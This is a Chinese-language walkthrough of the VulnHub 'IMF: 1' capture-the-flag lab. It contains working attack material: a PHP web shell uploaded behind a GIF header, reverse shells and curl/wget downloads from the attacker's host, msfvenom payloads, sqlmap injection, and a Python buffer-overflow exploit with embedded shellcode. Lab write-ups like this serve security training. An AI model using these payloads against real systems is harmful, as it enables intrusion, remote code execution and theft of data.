本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切后果與發表本文章的作者無關
靶機下載之后使用僅主機模式加載到本地VMware Workstation工作站,需要發現目標靶機的IP地址,可以使用nmap,netdiscover,或者arp之類的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 當然也是可以使用Windows環境下mac地址掃描工具都是可以的,那么本次演示就是arp-scan工具發現
地址:https://www.vulnhub.com/entry/imf-1,162/
nmap -p- -n -sC -sV 192.168.5.145 -o imf.nmap
目錄猜解沒有猜解出來,看看目標web
有3個選項卡,分別點擊3個選項卡網頁上發現什么敏感內容,嘗試看每個網頁的源代碼,發現contact.php的源碼頁面看到第一個flag
flag1{YWxsdGhlZmlsZXM=}
YWxsdGhlZmlsZXM= 根據特征可以猜測是base64進行編碼的,這里進行解碼看看
解碼后的信息如下:

allthefiles
通過搜索頁面的等號發現另一個base64編碼的信息
解碼后結果
yYXRvcg==} 發現解碼出來的信息還是類似base64編碼,感覺問題很大,不像是base64編碼,然后想了想,發現如下信息可能是連貫的
將其拼接起來解碼看看 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
得出了flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==} 將aW1mYWRtaW5pc3RyYXRvcg== 解碼后得出 imfadministrator
根據上面得到的imfadministrator 放在web上試試看,發現可以訪問,顯示一個登陸頁面
根據目標靶機上的URL,顯示的聯系人,使用burp進行暴力破解,無果,然后更改密碼作為數組為空傳給服務端試試
得出falg3的base64編碼Y29udGludWVUT2Ntcw== 將其解碼得出如下結果:
continueTOcms
得到上述結果的時候顯示的頁面提供了一個cms頁面
訪問看看
訪問這個cms的結果如下:
初次看到這類帶問號的頁面, 丟了一個單引號過去,發現存在sql注入漏洞
這種情況就直接使用sqlmap進行注入,不過這里得注意了,因為是登陸之后發現的注入點,那么在注入的時候是需要帶入登陸成功的cookie,所以我這直接復制保存對應的http請求包使用sqlmap -r參數進行注入
GET /imfadministrator/cms.php?pagename=disavowlist HTTP/1.1
Host: 192.168.5.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.5.145/imfadministrator/cms.php?pagename=home
Cookie: PHPSESSID=tilm340t4jb64ubgal047l74h4
Connection: close
最終我使用了如下測試參數獲取了目標信息:
sqlmap -r flag3imfsqlinj.txt --smart --batch -D admin -T pages -C id,pagedata,pagename --dump-all
具體sqlmap使用操作可以看我的公眾號或者B站視頻都有介紹
根據注入的結果獲得圖片的路徑
http://192.168.5.145/imfadministrator/images/whiteboard.jpg
看到圖片上有二維碼,拿起手機掃描下二維碼,得出 flag4{dXBsb2Fkcjk0Mi5waHA=}
將上面的base64編碼進行解碼得出結果為:uploadr942.php
然后試着訪問http://192.168.5.145/imfadministrator/uploadr942.php 發現居然可以訪問
上述是個上傳頁面,我們嘗試上傳看看,經過嘗試,先上傳一個正常的圖片使用burp抓包,然后使用如下代碼通過burp重放上傳成功執行命令的shell
GIF89a
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>
獲得 flag5{YWdlbnRzZXJ2aWNlcw==} 將此編碼進行解碼得到結果是:agentservices
這里使用反彈shell方式反彈到了本地kali,類似如下操作
使用kali自身php反彈shell腳本
cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php
將上述代碼監聽的本地IP地址改為kali的IP地址192.168.5.130 監聽端口是8855
當前目錄執行php腳本開啟簡易web服務器
php -S 192.168.5.130:4488
本地kali監聽端口
nc -lvnp 8855
curl%20-O%20http://192.168.5.130:4488/shellimf.txt;mv%20shellimf.txt%20shellimf2.php
下載到目標靶機然后訪問即可反彈
拿到反彈shell權限,方便操作之后開始根據提示進行搜索
看着這一生像是有代理服務,既然有了目標靶機的權限可以嘗試看看,搜索一下
使用命令如下:find / -name agent &>/dev/null
發現關鍵字agent,找到如下信息:
查看access_codes 發現有3個端口,這意思又是要使用knock進行敲擊
使用knock進行敲擊
多敲擊了幾次,然后再使用nmap進行7788端口掃描,因為拿到目標的權限查看網絡連接獲得開放代理的端口就是7788
這里為了方便使用metasploit玩玩,使用它的端口轉發功能玩下,大致操作命令如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.130 LPORT=4444 -f elf > bmfximfexp
php -S 192.168.5.130:4488
wget http://192.168.5.130:4488/bmfximfexp
chmod 777 bmfximfexp
下載到目標靶機之后執行
./bmfximfexp
成功通過metasploit反彈
使用metasploit將目標靶機7788端口進行了端口轉發到本地
然后可以通過nc的方式或者metasploit的方式將目標靶機的agent文件下載到本地kali下進行分析
nc -l -p 9999 > agent
nc 192.168.1.124 9999 < /usr/local/bin/agent
獲取了agent在本地進行分析,這方面我不是太擅長,先放着,需要看分析的可以移步至下列地址觀看
https://g0blin.co.uk/imf-vulnhub-writeup/
https://habr.com/en/post/318814/
https://acebombersecurity.wordpress.com/2016/11/06/imf-1-walkthrough-vulnhub/
通過生成shellcode 代碼
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "\x00\x0a\x0d"
kali@kali:~/Downloads/imf$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "\x00\x0a\x0d" [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of python file: 479 bytes buf = b"" buf += b"\xb8\x55\xf0\x23\x37\xda\xd3\xd9\x74\x24\xf4\x5a\x2b" buf += b"\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x17\xfe\xc1" buf += b"\xc2\xa6\x25\xf2\xce\x9b\x9a\xae\x7a\x19\x94\xb0\xcb" buf += b"\x7b\x6b\xb2\xbf\xda\xc3\x8c\x72\x5c\x6a\x8a\x75\x34" buf += b"\xad\xc4\x83\x46\x45\x17\x8c\x64\x3b\x9e\x6d\xd8\x25" buf += b"\xf1\x3c\x4b\x19\xf2\x37\x8a\x90\x75\x15\x24\x45\x59" buf += b"\xe9\xdc\xf1\x8a\x22\x7e\x6b\x5c\xdf\x2c\x38\xd7\xc1" buf += b"\x60\xb5\x2a\x81"
對應寫好的Python利用代碼如下:
這里地址需要更改為實際情況的地址,因為我這里使用了端口轉發的方式將目標靶機的端口轉發到本地,所以是寫的本地地址
import socket client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('localhost', 7788)) client.recv(512) client.send("48093572\n") client.recv(512) client.send("3\n") client.recv(512) # shellcode from msfvenom buf = b"" buf += b"\xb8\x55\xf0\x23\x37\xda\xd3\xd9\x74\x24\xf4\x5a\x2b" buf += b"\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x17\xfe\xc1" buf += b"\xc2\xa6\x25\xf2\xce\x9b\x9a\xae\x7a\x19\x94\xb0\xcb" buf += b"\x7b\x6b\xb2\xbf\xda\xc3\x8c\x72\x5c\x6a\x8a\x75\x34" buf += b"\xad\xc4\x83\x46\x45\x17\x8c\x64\x3b\x9e\x6d\xd8\x25" buf += b"\xf1\x3c\x4b\x19\xf2\x37\x8a\x90\x75\x15\x24\x45\x59" buf += b"\xe9\xdc\xf1\x8a\x22\x7e\x6b\x5c\xdf\x2c\x38\xd7\xc1" buf += b"\x60\xb5\x2a\x81" # padding buf += "A" * (168 - len(buf)) # call eax gadget buf += "\x63\x85\x04\x08\n" client.send(buf)
然后在kali上執行
執行執行使用nc本地監聽端口
成功拿到flag6
flag6{R2gwc3RQcm90MGMwbHM=}